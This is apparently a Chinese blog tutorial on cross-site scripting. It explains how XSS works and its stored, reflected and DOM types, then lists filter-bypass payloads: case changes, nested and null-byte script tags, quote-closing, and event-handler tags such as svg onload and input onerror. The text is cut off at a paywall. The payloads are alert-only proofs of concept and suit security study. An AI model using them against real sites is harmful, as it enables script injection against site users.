本文深入探讨了XSS攻击的原理、分类，详细总结了各种绕过防御的技巧，包括编码、事件利用和长度限制等，并给出了XSS防御策略，如设置HttpOnly属性、过滤特殊字符和限制输入长度等。
xss原理#
xss产生的原因是将恶意的html脚本代码插入web页面，底层原理和sql注入一样，都是因为js和php等都是解释性语言，会将输入的当做命令执行,所以可以注入恶意代码执行我们想要的内容
xss分类#
- 存储型xss:
js脚本代码会插入数据库，具有一定的持久性 - 反射型xss:
js经过后端php等语言处理 - dom型xss:
和反射型xss类似，但是不经过后端服务器的处理
xss绕过总结:#
自身绕过#
<script>alert('xss')</script> //没有过滤
<Script>alert('xss')</Script> //大小写绕过
<scscriptript>alert('xss')</scscriptript> //嵌套绕过
<sc\x00ript>alert('xss')</sc\x00ript> //空字节绕过
" oonnclick=alert('XSS') // //闭合单双引号绕过(对于html实体输入的和过滤< >)
其他标签绕过#
<a herf="javascript:alert(1)">show</a>
<body onload=alert(1)>
<input type=image src=x:x onerror=alert(1)>
<isindex onmouseover="alert(1)" >
<form oninput=alert(1)><input></form>
<textarea autofocus onfocus=alert(1)>
<input oncut=alert(1)>
<svg onload=alert(1)>
<keygen autofocus on
最低0.47元/天 解锁文章
69
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
